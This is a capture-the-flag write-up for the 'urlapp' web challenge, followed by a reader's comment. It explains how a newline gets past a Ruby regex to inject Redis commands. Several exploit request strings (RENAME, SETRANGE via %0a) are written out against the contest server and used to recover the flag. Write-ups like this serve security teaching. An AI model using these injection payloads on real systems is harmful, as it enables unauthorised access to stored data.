Tags: web redis crlf-injection 

Rating: 5.0

# ▼▼▼urlapp(Web, 426pts, 32/432=7.4%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

※Number of teams that answered one or more questions, **excluding Survey and Welcome**: 218

 ⇒32/218=14.8%

---

## 【Check source code】

### 1.docker-compose.yaml

```
version: '3'
services:
redis:
image: redis:5
command: "redis-server /redis.conf"
volumes:
- "${PWD}/challenge/redis.conf:/redis.conf"
ports:
- 6379:6379
app:
build: .
ports:
- 8004:4567
```

The redis server may have open ports to the outside. (may be blocked by WAF)

**(Try 1)**

`redis-cli -h 3.112.201.75 -p 6379`

Can not connect. It is prevented by WAF...

---

### 2.Dockerfile
```
FROM ruby:2.7

RUN mkdir /app
WORKDIR app

ADD challenge/Gemfile Gemfile
ADD challenge/Gemfile.lock Gemfile.lock

RUN bundle install

ADD challenge/app.rb app.rb
ADD challenge/index.html index.html
ADD challenge/flag.txt flag.txt

CMD bundle exec ruby app.rb -s WEBrick -e production -p 4567
```

Find flag location.

---

### 3.app.rb
```
require 'sinatra'
require 'uri'
require 'socket'

def connect()
sock = TCPSocket.open("redis", 6379)

if not ping(sock) then
exit
end

return sock
end

def query(sock, cmd)
sock.write(cmd + "\r\n")
end

def recv(sock)
data = sock.gets
if data == nil then
return nil
elsif data[0] == "+" then
return data[1..-1].strip
elsif data[0] == "$" then
if data == "$-1\r\n" then
return nil
end
return sock.gets.strip
end

return nil
end

def ping(sock)
query(sock, "ping")
return recv(sock) == "PONG"
end

def set(sock, key, value)
query(sock, "SET #{key} #{value}")
return recv(sock) == "OK"
end

def get(sock, key)
query(sock, "GET #{key}")
return recv(sock)
end

before do
sock = connect()
set(sock, "flag", File.read("flag.txt").strip)
end

get '/' do
if params.has_key?(:q) then
q = params[:q]
if not (q =~ /^[0-9a-f]{16}$/)
return
end

sock = connect()
url = get(sock, q)
redirect url
end

send_file 'index.html'
end

post '/' do
if not params.has_key?(:url) then
return
end

url = params[:url]
if not (url =~ URI.regexp) then
return
end

key = Random.urandom(8).unpack("H*")[0]
sock = connect()
set(sock, key, url)

"#{request.host}:#{request.port}/?q=#{key}"
end

```

---
## 【Goal】

```
before do
sock = connect()
set(sock, "flag", File.read("flag.txt").strip)
end
```

The flag is stored in redis and is initialized at each access.

---

## 【Vulnerability identification】

```
get '/' do
if params.has_key?(:q) then
q = params[:q]
if not (q =~ /^[0-9a-f]{16}$/)
return
end

sock = connect()
url = get(sock, q)
redirect url
end

send_file 'index.html'
end
```

In Ruby, regular expressions can be bypassed by **CRLF injection**.

In Redis, NoSQL Injection vulnerability by **CRLF injection**.

---

**(Try 2)** In Ruby, regular expressions can be bypassed by CRLF injection.

try to get the flag in redis.

`GET /?q=flag%0a0000000000000000`  ⇒ No response!!

Since Dockerfile is given, build the environment and check the log.
```
11.108.19.80 - - [08/Mar/2020:04:51:05 +0000] "GET /?q=flag%0a0000000000000000 HTTP/1.1" 302 - 0.0019
[2020-03-08 04:51:05] ERROR URI::InvalidURIError: bad URI(is not URI?): "http://my_server/flag{secret}"
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:67:in `split'
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:73:in `parse'
/usr/local/lib/ruby/2.7.0/uri/rfc3986_parser.rb:117:in `convert_to_uri'
/usr/local/lib/ruby/2.7.0/uri/generic.rb:1101:in `merge'
/usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:298:in `setup_header'
/usr/local/bundle/gems/rack-2.2.2/lib/rack/handler/webrick.rb:17:in `setup_header'
/usr/local/lib/ruby/2.7.0/webrick/httpresponse.rb:225:in `send_response'
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb:112:in `run'
/usr/local/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
```

Flag can be obtained from redis.

After the value is reflected in the **Location header**, it seems that **No Response** is caused by **{** and **}**.

---

**(Try 3)** In Redis, NoSQL Injection vulnerability by CRLF injection.

Try running the redis command **'set test test'**.

```
POST / HTTP/1.1
Host: 3.112.201.75:8004
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
url=%0aset%20test%20test$0a0000000000000000
```

`GET /?q=test%0a0000000000000000` ⇒ `Location: http://3.112.201.75:8004/test`

It was confirmed that **the set command could be executed.**

---

## 【Consider how to get redis flag?】

**Method 1:** Save the flag once in another location and update the flag so that the flag is not overwritten

**Method 2:** If there is a sleep() function, etc., get the time difference

**Method 3:** Arbitrary code can be executed and data is sent to the outside with a command like curl

As a result solved by **method 1**.

---

## 【Investigation of redis function】

I found a command that could be used.

**"RENAME"** : Change the key name

**"SETRANGE"** : Change the number of characters from the beginning to the specified value

---

## 【Investigation using two functions】

```
GET /?q=kazkiti3%0a0000000000000000        ⇒Location: http://3.112.201.75:8004/  ※Confirm that kazkiti3 is not used
GET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/
GET /?q=kazkiti3%0a0000000000000000        ⇒No response
```

**"RENAME"** is enabled, and it seems that kazkiti3 is set with flag.

---

flag format is zer0pts{???????}.

Since the beginning is 0th, **"{"** is the **7th**.

---

### (Check the character length of flag)

Use **"SETRANGE"** to change to **"1"** from the beginning

```
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000 ⇒No response
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%208%201%0a0000000000000000 ⇒No response
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%209%201%0a0000000000000000 ⇒No response
・・・(Omitted)・・・
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2034%201%0a0000000000000000 ⇒No response
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ⇒No response
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2036%201%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/zer0pts111111111111111111111111111111
```

flag seems to be **36 characters!!**

---

## 【exploit】

```
GET /?q=kazkiti3%0a0000000000000000
GET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000
GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ※I changed it to 35 because it is 36 characters.
GET /?q=kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1
```

`zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1`

`zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}`

ImtinminMarch 11, 2020, 4:09 p.m.

I build `docker with docker-compose.yml`.The redis docker
```
127.0.0.1:6379> rename xxx 213;
(error) ERR unknown command `rename`, with args beginning with: `xxx`, `213;`,
127.0.0.1:6379> rename xxx 213
(error) ERR unknown command `rename`, with args beginning with: `xxx`, `213`,
127.0.0.1:6379> rename xxx sdad
(error) ERR unknown command `rename`, with args beginning with: `xxx`, `sdad`,
127.0.0.1:6379> get xxx
```
I don't know what happen
and burp send
```
GET /?q=kazkiti3%0aSET%20test%20test123%0a0000000000000000 HTTP/1.1
Host: 39.108.36.103:8002
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/80.0.3987.87 Chrome/80.0.3987.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```
It return '<h1>Internal Server Error</h1>'